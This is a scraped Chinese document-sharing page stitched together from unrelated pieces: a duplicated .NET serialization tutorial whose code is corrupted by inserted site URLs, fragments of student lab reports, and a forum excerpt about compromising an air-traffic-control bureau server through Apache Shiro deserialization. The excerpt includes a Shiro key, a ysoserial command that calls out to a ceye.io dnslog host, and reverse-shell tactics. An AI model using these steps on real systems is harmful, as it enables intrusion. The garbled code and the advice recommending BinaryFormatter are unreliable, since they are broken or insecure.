[Serializable]在C_中的作用-NET_中的对象序列化
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.net中对象序列化技术浅谈收藏
序列化是将对象状态转换为可保持或传输的格式的过程。与序列化相对的是反序列化，它将流转换为对象。这两个过程结合起来，可以轻松地存储和传输数据。例如，可以序列化一个对象，然后使用HTTP 通过Internet 在客户端和服务器之间传输该对象。反之，反序列化根据流重新构造对象。此外还可以将对象序列化后保存到本地，再次运行的时候可以从本地文件中“恢复”对象到序列化之前的状态。
在.net中有提供了几种序列化的方式：
二进制序列化
XML序列化
SOAP序列化
二进制序列化
所谓二进制序列化，指的是对象序列化之后是二进制形式的。二进制序列化是通过BinaryFormatter类来实现的，这个类位于System.Runtime.Serialization.Formatters.Binary命名空间下。
XML序列化
所谓XML序列化，是指对象序列化之后的结果是XML形式的。保存XML序列化是通过XmlSerializer 类来实现的，这个类位于System.Xml.Serialization命名空间下。
SOAP序列化
所谓SOAP序列化是指对象序列化之后的结果符合SOAP协议，也就是可以通过SOAP协议传输（不知道SOAP协议？百度一下吧）。SOAP序列化是通过SoapFormatter类来实现的，这个类位于System.Runtime.Serialization.Formatters.Soap命名空间下，并且需要注意需要手动添加对这个命名空间的引用，如下图所示：
下面编写一个类用于序列化和反序列化，这个类的代码如下：
using System;
using System.Collections.Generic;
using System.Text;
namespace MySerializeDemo
{
[Serializable]
///
/// 要序列化的对象
/// 作者：周公
/// 编写时间：2009-03-10
///
public class MyObject
{
//[NonSerialized]
private string name;
private DateTime birthday;
private string homePlace;
///
/// 出生地
///
public string HomePlace
{
get { return homePlace; }
set { homePlace = value; }
}
///
/// 生日
///
public DateTime Birthday
{
get { return birthday; }
set { birthday = value; }
}
///
/// 姓名
///
public string Name
{
get { return name; }
set { name = value; }
}
///
/// 年龄
///
public int Age
{
get { return DateTime.Now.Year - birthday.Year; }
}
///
/// override了ToString()方法
///
///
public override string ToString()
{
return string.Format("姓名：{0},生日：{1},出生地：{2},年龄：
{3}",name,birthday,homePlace,Age);
}
}
}
using System;
using System.Collections.Generic; using System.Text;
namespace MySerializeDemo
{
[Serializable]
///
/// 要序列化的对象
/// 作者：周公
/// 编写时间：2009-03-10
///
public class MyObject
{
//[NonSerialized]
private string name;
private DateTime birthday;
private string homePlace;
///
/// 出生地
///
public string HomePlace
{
get { return homePlace; }
set { homePlace = value; } }
///
/// 生日
///
public DateTime Birthday
{
get { return birthday; }
set { birthday = value; }
}
///
/// 姓名
///
public string Name
{
get { return name; }
set { name = value; }
}
///
/// 年龄
///
public int Age
{
get { return DateTime.Now.Year - birthday.Year; }
}
///
/// override了ToString()方法
///
///
public override string ToString()
{
return string.Format("姓名：{0},生日：{1},出生地：{2},年龄：{3}",name,birthday,homePlace,Age);
}
}
}
下面是分别用上面的三个类进行序列化和反序列化的代码：
view plaincopy to clipboardprint?
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Runtime.Serialization.Formatters;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;
using System.Xml.Serialization;
namespace MySerializeDemo
{
class Program
{
static void Main(string[] args)
{
MyObject obj = new MyObject();
obj.Birthday = new DateTime(1979, 11, 7);
obj.HomePlace = "湖北";
https://www.360docs.net/doc/2f13536593.html, = "周公";
Console.WriteLine("========使用BinaryFormatter类进行序列化和反序列化。====");
BinarySerialize(obj);
BinaryDeserialize("C:\\MyObject.dat");
Console.WriteLine("========使用SoapFormatter类进行序列化和反序列化。====");
SOAPSerialize(obj);
SOAPDeserialize("C:\\MyObject.soap");
Console.WriteLine("========使用XmlSerializer类进行序列化和反序列化。====");
XMLSerialize(obj);
XMLDeserialize("C:\\MyObject.xml");
}
///
/// 二进制序列化对象
///
///
public static void BinarySerialize(MyObject obj)
{
using (FileStream stream = new FileStream("C:\\MyObject.dat", FileMode.Create, FileAccess.Write))
{
BinaryFormatter formater = new BinaryFormatter();
formater.Serialize(stream, obj);
Console.WriteLine("对象已经被序列化。" + obj.ToString());
}
}
///
/// 二进制反序列化
///
///
public static void BinaryDeserialize(string fileName)
{
using (FileStream stream = new FileStream(fileName, FileMode.Open, FileAccess.Read))
{
BinaryFormatter formater = new BinaryFormatter();
MyObject obj=(MyObject)formater.Deserialize(stream);
Console.WriteLine("对象已经被反序列化。" + obj.ToString());
}
}
///
/// 二进制序列化对象
///
///
public static void SOAPSerialize(MyObject obj)
{
using (FileStream stream = new FileStream("C:\\MyObject.soap", FileMode.Create, FileAccess.Write))
{
SoapFormatter formater = new SoapFormatter();
formater.Serialize(stream, obj);
Console.WriteLine("对象已经被序列化。" + obj.ToString());
}
}
///
/// 二进制反序列化
///
///
public static void SOAPDeserialize(string fileName)
{
using (FileStream stream = new FileStream(fileName, FileMode.Open, FileAccess.Read))
{
SoapFormatter formater = new SoapFormatter();
MyObject obj = (MyObject)formater.Deserialize(stream);
Console.WriteLine("对象已经被反序列化。" + obj.ToString());
}
}
///
/// XML序列化
///
///
public static void XMLSerialize(MyObject obj)
{
using (FileStream stream = new FileStream("C:\\MyObject.xml", FileMode.Create, FileAccess.Write))
{
XmlSerializer serializer = new XmlSerializer(typeof(MyObject));
serializer.Serialize(stream, obj);
Console.WriteLine("对象已经被序列化。" + obj.ToString());
}
}
///
/// XML反序列化
///
///
public static void XMLDeserialize(string fileName)
{
using (FileStream stream = new FileStream(fileName, FileMode.Open, FileAccess.Read))
{
XmlSerializer serializer = new XmlSerializer(typeof(MyObject));
MyObject obj = (MyObject)serializer.Deserialize(stream);
Console.WriteLine("对象已经被反序列化。" + obj.ToString());
}
}
}
}
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Runtime.Serialization.Formatters;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;
using System.Xml.Serialization;
namespace MySerializeDemo
{
class Program
{
static void Main(string[] args)
{
MyObject obj = new MyObject();
obj.Birthday = new DateTime(1979, 11, 7);
obj.HomePlace = "湖北";
https://www.360docs.net/doc/2f13536593.html, = "周公";
Console.WriteLine("========使用BinaryFormatter类进行序列化和反序列化。====");
BinarySerialize(obj);
BinaryDeserialize("C:\\MyObject.dat");
Console.WriteLine("========使用SoapFormatter类进行序列化和反序列化。====");
SOAPSerialize(obj);
SOAPDeserialize("C:\\MyObject.soap");
Console.WriteLine("========使用XmlSerializer类进行序列化和反序列化。====");
XMLSerialize(obj);
XMLDeserialize("C:\\MyObject.xml");
}
///
/// 二进制序列化对象
///
///
public static void BinarySerialize(MyObject obj)
{
using (FileStream stream = new FileStream("C:\\MyObject.dat", FileMode.Create, FileAccess.Write))
{
BinaryFormatter formater = new BinaryFormatter();
formater.Serialize(stream, obj);
Console.WriteLine("对象已经被序列化。" + obj.ToString());
}
}
///
/// 二进制反序列化
///
///
public static void BinaryDeserialize(string fileName)
{
using (FileStream stream = new FileStream(fileName, FileMode.Open, FileAccess.Read))
{
BinaryFormatter formater = new BinaryFormatter();
MyObject obj=(MyObject)formater.Deserialize(stream);
Console.WriteLine("对象已经被反序列化。" + obj.ToString());
}
}
///
/// 二进制序列化对象
///
///
public static void SOAPSerialize(MyObject obj)
{
using (FileStream stream = new FileStream("C:\\MyObject.soap", FileMode.Create, FileAccess.Write))
{
SoapFormatter formater = new SoapFormatter();
formater.Serialize(stream, obj);
Console.WriteLine("对象已经被序列化。" + obj.ToString());
}
}
///
/// 二进制反序列化
///
///
public static void SOAPDeserialize(string fileName)
{
using (FileStream stream = new FileStream(fileName, FileMode.Open, FileAccess.Read))
{
SoapFormatter formater = new SoapFormatter();
MyObject obj = (MyObject)formater.Deserialize(stream);
Console.WriteLine("对象已经被反序列化。" + obj.ToString());
}
}
///
/// XML序列化
///
///
public static void XMLSerialize(MyObject obj)
{
using (FileStream stream = new FileStream("C:\\MyObject.xml", FileMode.Create, FileAccess.Write))
{
XmlSerializer serializer = new XmlSerializer(typeof(MyObject));
serializer.Serialize(stream, obj);
Console.WriteLine("对象已经被序列化。" + obj.ToString());
}
}
///
/// XML反序列化
///
///
public static void XMLDeserialize(string fileName)
{
using (FileStream stream = new FileStream(fileName, FileMode.Open, FileAccess.Read))
{
XmlSerializer serializer = new XmlSerializer(typeof(MyObject));
MyObject obj = (MyObject)serializer.Deserialize(stream);
Console.WriteLine("对象已经被反序列化。" + obj.ToString());
}
}
}
}
这个程序的运行效果如下：
可见通过上面三个类都能实现将对象序列化保存，并且都能反序列化还原到对象被序列化之前的状态（这正是序列化意义所在，能保存对象运行时的状态并且还能还原）。如果运行上面的代码会在C盘根目录下创建三个文件，分别是MyObject.dat、MyObject.soap和MyObject.xml文件，因为MyObject.dat是二进制文件，所以无法查看文件的内容，但是我们可以打开MyObject.soap和MyObject.xml这两个文件来比较一下有什么区别。MyObject.soap文件的后缀虽然是.soap，但是还是可以用记事本打开的，下面是MyObject.soap文件的内容：
view plaincopy to clipboardprint?
xmlns:SOAP-ENC="https://www.360docs.net/doc/2f13536593.html,/soap/encoding/" xmlns:SOAP-ENV="https://www.360docs.net/doc/2f13536593.html,/soap/envelope/" xmlns:clr="https://www.360docs.net/doc/2f13536593.html,/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="https://www.360docs.net/doc/2f13536593.html,/soap/encoding/">
xmlns:SOAP-ENC="https://www.360docs.net/doc/2f13536593.html,/soap/encoding/" xmlns:SOAP-ENV="https://www.360docs.net/doc/2f13536593.html,/soap/envelope/" xmlns:clr="https://www.360docs.net/doc/2f13536593.html,/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="https://www.360docs.net/doc/2f13536593.html,/soap/encoding/">
MyObject.xml文件也可以用记事本打开，它的内容如下：
view plaincopy to clipboardprint?
熟悉SOAP协议的朋友一看MyObject.soap文件的内容就知道它符合SOAP协议，MyObject.xml文件毫无疑问是一个符合XML规范的文件。
对代码作几点说明：
1、如果采用BinaryFormatter类或者SoapFormatter类来实现序列化，则一定要给类加上Serializable属性，如代码中所示：
view plaincopy to clipboardprint?
[Serializable]
///
/// 要序列化的对象
/// 作者：周公
/// 编写时间：2009-03-10
///
public class MyObject
[Serializable]
///
/// 要序列化的对象
/// 作者：周公
/// 编写时间：2009-03-10
///
public class MyObject
如果不给要序列化的对象加上这个属性，那么采用采用BinaryFormatter类或者SoapFormatter 类来实现序列化时会报异常，但使用XmlSerializer 类序列化对象时可以不用这个属性。2、另外，如果不想序列化某个字段，可以给其加上NonSerialized属性，这样在序列化时就不会保存这个这个字段的值了，比如不想序列化name这个字段，可以如下写代码：
view plaincopy to clipboardprint?
…//其它代码
//[NonSerialized]
private string name;
…//其它代码
…//其它代码
//[NonSerialized]
private string name;
…//其它代码
再次运行刚才的程序会得到如下效果：
看有黄色底线部分，因为name字段不被序列化，所以通过二进制序列化和SOAP序列化之后再反序化就得不到原来的值了。
3、最后还需要说明一点的是，SoapFormatter类在.net3.5开始已经过时了，微软建议使用BinaryFormatter类来序列化和反序列化了。
周公
2009-03-11 0:17
本文来自CSDN博客，转载请标明出处：https://www.360docs.net/doc/2f13536593.html,/zhoufoxcn/archive/2009/03/11/3978874.aspx
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《C#语言程序设计》实验报告 学院：信息学院 专业：计算机科学与技术 指导教师： 报告人： 学号： 班级：
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对象序列化实验
电子科技大学 实验报告 学生姓名：学号：指导教师： 实验地点：实验时间：2011.12.14 一、实验室名称： Linux环境高级编程实验室 二、实验项目名称： 对象序列化实验 三、实验学时： 8学时 四、实验目的： 熟悉基本的对象序列化方法 五、实验内容： 共进行5个版本的开发： ●版本1：将一个类的一个对象序列化到文件 ●版本2：将一个类的多个对象序列化到文件 ●版本3：将两个类的多个对象序列化到文件
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C#程序设计课程设计实验报告册
实验名称：前台界面设计和实现指导教师： 实验时数： 8 实验设备：安装了VS2010软件的计算机 实验目的： 1.掌握C#的基本语法； 2.掌握HTML的基本语法； 3.掌握VS2010软件开发工具的使用； 4.掌握https://www.360docs.net/doc/2f13536593.html,前台界面的设计和编程实现。 实验准备： 1.在开始本实验之前，请回顾教科书的相关内容； 2.需要一台安装Windows XP Professional操作系统和装有VS2010的计算机。 实验内容及要求 以XXX班级为主题，站点名称自拟，网站的内容大致包含：网站首页、专业介绍、学院简介、班级共享、英语角等；主要版块有： 1.网站首页：展现班级风貌和班级特色。 2.班级共享：介绍同学中流行的话题、歌曲、软件和电子书。 3.英语角：介绍英语知识，提高同学英语学习兴趣。 根据以上对图书销售的业务描述实现以下要求： 1.前台界面的设计和编程（画出网站的界面导航图）； 2.将前台界面的部分关键代码粘贴到实验过程的空白处（不要全部粘贴，不要截图）。
实验过程： 一、网站的结构 二、关键代码 1）班级共享（public data.aspx） 资料共享（information_share.aspx） a)上传文件控件代码：
C++序列化反序列化库Kapok
C++序列化/反序列化库Kapok 1.Kapok的特点 简单，易用，header-only，只需要引用Kapok.hpp即可；高效，初步测试性和messagepack 相当。 它是纯c++11实现，因此需要支持C++11的编译器。 2.主要功能 对对象进行自动化的序列化和反序列化，用起来非常简单，先来看个序列化/反序列化一个tuple的例子吧。 //序列化 Serializer sr; auto tp = std::make_tuple(10, 12, string("test")); sr.Serialize(tp, "tuple"); //反序列化 DeSerializer dr; std::tuple
Person person; dr.Parse(sr.GetString()); dr.Deserialize(person, "Person"); 一样的很简单，结构这里需要一个宏定义META，这个META的作用就是获取对象的元信息，有了这个元信息我们就可以很方便的实现序列化和反序列化了。 3.应用场景 Kapok除了不支持指针之外所有的对象都支持，支持结构体的无限嵌套（被嵌套的结构体也必须定义META宏）。这里说一下为什么不支持指针呢，因为对象中有指针的话存在两个问题：1.这个指针如果是动态数组的话，c++中无法获取这个数组的长度；2.指针还涉及到内存管理，我希望Kapok专注于序列化和/反序列化，暂时不考虑内存管理。 4.结构体必须有一个宏定义是否具有侵入性？ 看起来每个序列化/反序列化的对象都要带一个宏定义似乎侵入性较强，但这种侵入性是完全无害的，因为它只是定义了一个额外的函数而已，这个函数只会在序列化/反序列化的时候才会用到，不会对当前对象造成任何影响，还有一点是因为c++没有反射，必须要通过某种方法来获取对象的元信息，纵观目前所有的序列化方案，只有这种方式是最简洁的，用户做最少的事情即可，这也是我选择这种方式的原因。 5.Kapok是如何实现序列化/反序列化的 Kapok的最底层是用到了rapidjson, 用它来实现对基本类型的序列化，对它做了一个简单的封装以便供上层使用，上面层就是序列化\反序列化实现层，主要是实现对对象元信息的解析和自动化的打包和解包。下面是Kapok序列化的一个示意图： 6.Kapok的性能如何 初步测试对一个tuple进行序列化/反序列化一万次，发现Kapok的耗时和messagepack相当。 7.Kapok是否支持多语言 暂时不支持，先把c++版本做好再说，如果要支持多语言的话，需要用其它语言进行重写，
C#编程实验
实验一 1. 尝试用命令行方式编译一个简单的控制台程序为可执行PE文件。 (1) 先用“记事本”编写一个简单的控制台应用程序p1.cs，该程序中只包含可供测试的几行简单代码，例如为： using System; using System.Threading; class test { static void Main() { int x, y; x=Int32.Parse(Console.ReadLine()); y=Int32.Parse(Console.ReadLine()); Console.WriteLine("{0}+{1}={2}",x, y, x+y); Console.ReadLine(); } } (2) 使用C:\Windows\https://www.360docs.net/doc/2f13536593.html,\Framework\v2.0.50727\csc.exe 程序（该路径为VS2005下适用，如果用更高版本时应相应调整）以及适当的参数执行编译命令。产生一个可执行PE程序。 (3) 执行该PE程序，观察是否符合预期。 (4) 观察用以上方法编译时，如果代码中有错误，系统如何输出错误信息？ 2. 使用GC类控制.NET的垃圾回收操作。 (1) 按照教材上【例1-3】，建立C#的控制台应用程序。 (2) 编译调试该程序，观察、记录控制台输出。 (3) 如果要使MakeSomeGarbage方法中产生的对象不会被回收，应该如何修改MakeSomeGarbage中的代码？修改后实际运行时，观察程序输出的相关信息是否与预计一致（需要与修改前输出的内存占有数据相比较）。 3. 学习使用委托 (1) 按照教材上【例1-5】，建立C#的控制台应用程序。 (2) 编译调试该程序，观察、记录控制台输出。 4. 不要利用Visual https://www.360docs.net/doc/2f13536593.html, IDE环境的“工具箱”、“属性窗口”，最好只使用“笔记本”写代码，编写一个“Hello,World!”的Windows应用程序。 (1) 该Windows程序窗体上有一个按钮。当单击按钮时，弹出对话框显示“Hello,World!”。 (2) 在“命令行窗口”下执行CSC将C#代码文件编译为PE程序。 提示： 可在Form_Load等事件中执行Button button1=new Button(); 创建该按钮，对该按钮，要将其加入到Form的Controls集合中。然后对按钮的Text、Position等属性赋值。最后记得要为单击按钮的事件设置一个方法：
贪吃蛇游戏课程设计实验报告全解
辽宁科技大学课程设计说明书 设计题目：基于C#的贪吃蛇游戏 学院、系：装备制造学院 专业班级：计算机科学与技术 学生姓名：叶佳佳 指导教师：丁宁 成绩： 2015年12月12日
目录 一、概述 (1) 1、用C#实现该设计的方法 (1) 2、贪吃蛇游戏说明 (1) 二、实验目的及设计要求 (1) 1、实验目的 (1) 2、实验要求 (2) 三、课程设计具体实现 (2) 1、概要设计 (2) 1.1、设计思想 (2) 1.2、主模块实现 (2) 1.3、主函数流程图 (4) 2、详细设计 (5) 2.1、设计思想 (5) 2.2、具体模块实现： (5) 四、调试过程及运行结果 (10) 1、调试过程 (10) 2、实验结果 (11) 五、实验心得 (12) 六、参考资料 (13) 七、附录：源代码 (13)
一、概述 1、用C#实现该设计的方法 首先应该了解设计要求，然后按照功能设计出实际模块，每个模块都要完成特定的功能，要实现模块间的高内聚，低耦合。设计模块是一个相当重要的环节，模块的数量不宜太多，也不宜太少，要是每个模块都能比较简单的转换成流程图。模块设计完成后，就该给每个模块绘制流程图。流程图要尽可能的简单且容易理解，多使用中文，补一些过长的代码，增加理解难度。此外，流程图应容易转换成代码。 根据流程图编写好代码后在WindowsXP操作系统，https://www.360docs.net/doc/2f13536593.html,2008开发环境下进行运行测试，检查错误，最终设计出可行的程序。 2、贪吃蛇游戏说明 游戏操作要尽可能的简单，界面要尽可能的美观。 编写程序实现贪吃蛇游戏，贪吃蛇游戏是一个深受人们喜欢的游戏：一条蛇在密闭的围墙内，在围墙内随机出现一个食物，通过键盘上的四个光标键控制蛇向上下左右四个方向移动，蛇头撞到食物，则表示食物被吃掉，这时蛇的身体长一节，同时计10分；接着又出现食物，等待被蛇吃掉，如果蛇在移动过程中，撞到墙壁、障碍物或身体交叉（蛇头撞到自己的身体），则游戏结束。游戏结束时输出相应得分。 具体要求有以下几点： （1）对系统进行功能模块分析、控制模块分析正确，符合课题要求，实现相应功能；可以加以其他功能或修饰，使程序更加完善、合理； （2）系统设计要实用，采用模块化程序设计方法，编程简练、可用，功能全面； （3）说明书、流程图要清楚； 二、实验目的及设计要求 1、实验目的 .NET课程设计是教学实践环节中一项重要内容，进行此课程设计旨在掌握基础知识的基础上，进一步加深对VC#.NET技术的理解和掌握； 提高和加强学生的计算机应用及软件开发能力，使学生具备初级程序员的基本素质； 培养学生独立分析问题、解决问题、查阅资料以及自学能力，以适应信息管理行业日新 1
C#程序设计实验报告
学生实验报告 （理工类） 课程名称： C#程序设计专业班级：M11计算机科学与技术（专转本）学生学号： XXXXXXXX 学生姓名： XXX 所属院部：信息技术学院指导教师： XXX 2012 — 2013学年第 1 学期 金陵科技学院教务处制
实验报告书写要求 实验报告原则上要求学生手写，要求书写工整。若因课程特点需打印的，标题采用四号黑体，正文采用小四号宋体，单倍行距。纸张一律采用A4的纸张。 实验报告书写说明 实验报告中实验目的和要求、实验仪器和设备、实验内容与过程、实验结果与分析这四项内容为必需项。教师可根据学科特点和实验具体要求增加项目。 填写注意事项 （1）细致观察，及时、准确、如实记录。 （2）准确说明，层次清晰。 （3）尽量采用专用术语来说明事物。 （4）外文、符号、公式要准确，应使用统一规定的名词和符号。 （5）应独立完成实验报告的书写，严禁抄袭、复印，一经发现，以零分论处。 实验报告批改说明 实验报告的批改要及时、认真、仔细，一律用红色笔批改。实验报告的批改成绩采用五级记分制或百分制，按《金陵科技学院课堂教学实施细则》中作业批阅成绩评定要求执行。 实验报告装订要求 实验批改完毕后，任课老师将每门课程的每个实验项目的实验报告以自然班为单位、按学号升序排列，装订成册，并附上一份该门课程的实验大纲。
实验项目名称：C#基础编程实验学时： 6 同组学生姓名：实验地点： A205 实验日期： 9月17日-9月24日实验成绩： 批改教师：批改时间：
实验1 C#基础编程 一、实验目的 1、熟悉Visual Studio .NET开发环境； 2、掌握C#应用程序的基本操作过程； 3、掌握C#的数据类型，运算符以及表达式的使用； 4、掌握分支和循环语句的使用方法； 5、掌握一维数组，二维数组及数组型数组的使用。 二、实验要求 （1）编写程序要规范、正确，上机调试过程和结果要有记录； （2）做完实验后给出本实验的实验报告。 三、实验设备、环境 安装有Visual Studio .NET软件。 四、实验步骤 1、分析题意； 2、根据题目要求，新建项目； 3、编写并输入相关的程序代码； 5、运行与调试项目； 6、保存项目。 五、实验内容 1、编写一个简单的控制台应用程序，打印一行文字(如你的姓名)。using System; using System.Collections.Generic; using System.Text; namespace Test1_1 { class Program { static void Main(string[] args) { Console.WriteLine("1121412016 张明星！"); Console.ReadLine(); } } } 2、编写一个简单的Windows应用程序，在标签中显示你的姓名。 Form窗体的代码： using System; using System.Collections.Generic;
最新初中课题研究《主题式序列化作文教学课题实验》阶段工作总结
初中课题研究《主题式序列化作文教学课题实验》阶段工作总 结
初中课题研究《主题式序列化作文教学课题实验》阶段总结 我校自自己申报的原创课题——“主题式作文序列化教学课题实验”在山东省教科所立项以来，课题实验组老师热情饱满，态度积极，自觉加强理论学习，勇于作文教学改革实践，阶段性工作取得了一定的成效，现将本学期工作总结如下： 一、积极创设条件，进行课题申报 我校的作文教学有一定的教改基础，我校积极参与实施了淄博市体验式作文教学改革的实验，为我市作文教学改革的实验单位之一，作文教学改革取得了一定的成效，不少教师积累了一些经验，对作文教学方法的研究有了一些新的认识。如我校牟维和老师出版了作文教学专著《中学生使用话题作文指导》（延边大学出版社）牛晓彬老师获得淄博市作文竞赛辅导一等奖。牟维和老师获得淄博市体验式作文教学教学案例一等奖，我校在桓台县作文竞赛中获得全县第一名等，但不可否认的是作文教学的现状堪忧，应试作文愈演愈烈，公式化模式化、所谓的考场作文教学严重束缚了学生的个性化发展，说假话，写假事；小孩儿说大人话，毫无童心童趣；"内容空洞，不实在，不具体；一段一段甚至整篇整篇地抄写别人的作文；千人一面，没有个性和特点，究其原因，主要在：作文与学生生活、学习严重脱离，学生无内容可写，形成了"巧妇难为无米之炊"的尴尬局面；作文教学存在着"文学化"、"成人化"的倾向，使学生感到高不可攀，逐渐失去对作文的兴趣；作文教学存在着随意性及无目的、大操练的倾向，缺乏一定的训练序列。由此可见，作文教
学少了对学生主体精神的关注，写作没有成为孩子生活的真实需要。因此，我们认为应该让作文回归其本体功能――让学生在真实的生活中写作。我校的语文教师带着困惑与思考走到了一起，在淄博市教研室崔雪梅老师的直接指导下，“主题式作文序列化教学”实验课题应运而生。课题实验组人员热情高涨，积极准备。或阅读钻研理论著作，或进行调查研究，或向专家请教，或进行实验设计。2008年3月27日又召开了课题实验论证会，会上邀请了山东省初中语文教研员张伟忠老师，省教科所张斌博士作实验指导报告，与会专家提出许多指导性意见，为课题的顺利开展打下了坚实的基础。最后在学校领导的支持下，在市教研室的帮助下，“主题式作文序列化教学”课题实验的申报得以成功。 二、加强教学调查，确定实验班级与研究计划 课题的实验是建立在对教与学的基础上，其研究的根本目的是促进学生写作水平的提高，因此课题实验开始时重新对全校学生的作文现状作了全面深入的分析研究，并此基础上，确定了课题实验的年级——2006级，并召开了课题组会议，依据调查情况确定了课题研究开展的计划与方法。 三、加强课题研究中的理论学习 本课题试图通过研究，让教师在观念上确定以提高学生“观察生活，积累生活，感悟生活，表达生活”的能力为目标，“以课堂为轴心，向学生生活的各个领域开拓延展，充分利用一切可以利用的渠道和机会，发展学生作文能力”的“生活作文”教育观。教师必须更新自己
计算机网络课程设计实验报告
中南大学课程设计报告 课程：计算机网络课程设计 题目：基于Winpcap的网络流量统计分析 指导教师：张伟 目录 第一章总体设计 一、实体类设计 --------P3 二、功能类设计 --------P3 三、界面设计 --------P3
第二章详细设计 一、实体类实现 --------P4 二、功能类实现 --------P4 三、界面实现 --------P5 第三章源代码清单及说明 一、CaptureUtil.java --------P7 二、MyPcapPacketHandler.java --------P9 三、PacketMatch.java --------P9 四、Windows.java --------P13 第四章运行结果 --------P19 第五章心得体会 --------P21 第一章总体设计 一、实体类设计 TCP、UPD、ICMP、ARP、广播数据包五个包的数据结构设计 二、功能类设计 （1）网卡获取 （2）包的抓捕
（3）包的处理 三、界面设计 （1）布局 （2）按钮功能连接 第二章第二章详细设计 一、实体类实现 TCP、UPD、ICMP、ARP、广播数据包五个包的数据结构设计。 本程序采用Java编写，基于win10pcap。Win10pcap是winpcap在win10系统上的适用版本。Java对于winpcap使用jnetpcap进行支持。对于TCP、UPD、ICMP、ARP、广播数据包五种类型的包，在jnetpcap的jar包中大部分已经封装好了相关的实体类型。对应如下：ARP 实体类：https://www.360docs.net/doc/2f13536593.html,work.Arp; UPD 实体类：https://www.360docs.net/doc/2f13536593.html,work.Icmp;
Apache Shiro反序列化远程代码执行-其他利用姿势
12下一页 返回列表 回复发帖 帖子2 积分1 TCV0 TuBi1 坛龄84天 1# 跳转到? 倒序看帖 打印字体大小: T00LS ? 渗透测试文章(Security Articles) ? 投稿文章：通过Shiro反序列化拿下某空管局服务器root权限 steven 新手上路 发表于 所需阅读权限 20 [【原创】]投稿文章：通过Shiro反序列化拿下某空管局服务器root 权限 xuehei|提醒短消息论坛任务|个人中心退出 首页版块搜索银行T00ls工具帮助
目标站返回rememberMe的cookie字段或者在请求包中含有rememberMe的cookie字段的时候,说明该目标站是用了shiro框架漏洞利用 ①猜解密钥 前文中提到的硬编码的密钥,在实际生产环境中不同的项目可能会存在不同的密钥(key),从github上搜集了部分常用的key用于猜解,这里用到dnslog来判断是否成功. 可以看到当Key为kPH+bIxk5D2deZiIxcaaaA==时,服务器收到了目标站的请求,这里我们可以确定该站的key为 kPH+bIxk5D2deZiIxcaaaA== ②命令执行 这里我们利用ysoserial工具进行漏洞利用. 在服务器上执行 java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'ping -c 1 sl0437.ceye.io' 可以看到已经接收到了目标站的请求,并且payload发送给目标站以后成功执行了ping命令.说明目标站CommonsCollections1存在反序列化漏洞 ③反弹shell 在实战中发现,虽然可以成功执行命令了,但是由于runtime等环境因素并不能直接反弹shell,这个可以采用先下载后运行的方式.
C# .net实验报告.
【目录】 一、实验目的 (2) 二、实验要求 (2) 三、实验内容 (2) 任务1 判断每个输入的数是否可被3，5和7整除，并将整除状态输出。 (2) 任务2 练习使用for、while、do while、foreach in等循环语句。 (3) 任务3 绘图输出y=a*sin(c*x + b) (3) 四、实验步骤 (4) 任务1 判断每个输入的数是否可被3，5和7整除，并将整除状态输出。 (4) 任务2 练习使用for、while、do while、foreach in等循环语句。 (5) 任务3 绘图输出y=a*sin(c*x + b) (8) 五、实验结果 (10) 六、实验体会及思考题讨论 (16) 实验体会： (16) 思考题讨论： (17) 七、附件 (19) 附件一：（任务一程序代码） (19) 附件二：（任务二——三角形程序代码） (20) 附件三：（任务二——背靠背三角形程序代码） (21) 附件四：（任务二——菱形程序代码） (22) 附件五：（任务二——倒置三角形程序代码） (23) 附件六：（任务三——三角函数程序代码） (24)
一、实验目的 配合课程教学，通过实际上机练习，熟练掌握和运用C#基本语法，能运用它进行控制台应用程序设计；熟悉VISUAL https://www.360docs.net/doc/2f13536593.html,开发平台；熟悉控制台应用程序的调试经验和技巧。 二、实验要求 实现试验内容提要中规定的各项需求；独立（或合作或在别人协助下或老师指导下）创造性地完成试验，严禁抄袭；试验结束，提交试验报告。 基于VISUAL https://www.360docs.net/doc/2f13536593.html,平台开展试验，学会如何建立控制台应用的项目工程。 掌握以下语法知识： （1）数据类型； （2）运算符、表达式、语句； （3）数组、字符串、迭代器； （4）异常处理与预处理指令； （5）类与接口； （6）事件与委托。 三、实验内容 任务1 判断每个输入的数是否可被3，5和7整除，并将整除状态输出。 要求： （1）掌握VISUAL C#.NET的基本调试技巧。演示调试情况，会跟踪变量的值， 会设置和取消断点，会跟踪如何进入函数内部 （2）对每个输入数，分别输出对3，5和7的整除状态； （3）能实现多次输入输出，最好能有一些输入提示； （4）亦可同时输入和处理多个数，并输出多个数的整除状态。 （5）考虑使用switch或if。 小组成员任务分配： 倪鑫负责用自己的方式编出相应程序，并负责注释程序； 蒋树志负责用自己的方式编出相应程序； 梅傲霜负责用自己的方式编出相应程序； 张希望负责编出相应程序，该报告中使用的程序是是我编写的程序；
对象序列化实验
电子科技大学 实验报告 学生：学号：指导教师： 实验地点：实验时间：2011.12.14 一、实验室名称： Linux环境高级编程实验室 二、实验项目名称： 对象序列化实验 三、实验学时： 8学时 四、实验目的： 熟悉基本的对象序列化方法 五、实验容： 共进行5个版本的开发： ●版本1：将一个类的一个对象序列化到文件 ●版本2：将一个类的多个对象序列化到文件 ●版本3：将两个类的多个对象序列化到文件
●版本4：按照面向对象的方法，解决多个类的多个对象序列 化到文件的问题 ●版本5：序列化的目的地不仅可以是文件，还可以是其他， 即可配置性 六、实验步骤： 实验一： Test_1.cpp: #include
cout << "in file(): " << x << endl; } public: bool Serialize(const char *path) const //序列化部分 { int fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0); //打开experiment文件 if(-1 == fd) return false; if(write(fd, &x, sizeof(int)) == -1)//写文件 { close(fd); return false; } if(::close(fd) == -1)//关闭文件 return false; return true; } bool Deserialize(const char *path) //反序列化部分 { int fd = open(path, O_RDWR);// if(-1 == fd) return false; int red = read(fd, &x, sizeof(int));//只序列化一个值 if(-1 == red) { close(fd); return false; } if(close(fd) == -1) return false; return true; } }; int main() { { test_1 ex(1314); ex.Serialize("recored.txt"); }
https://www.360docs.net/doc/2f13536593.html,程序的设计实验报告
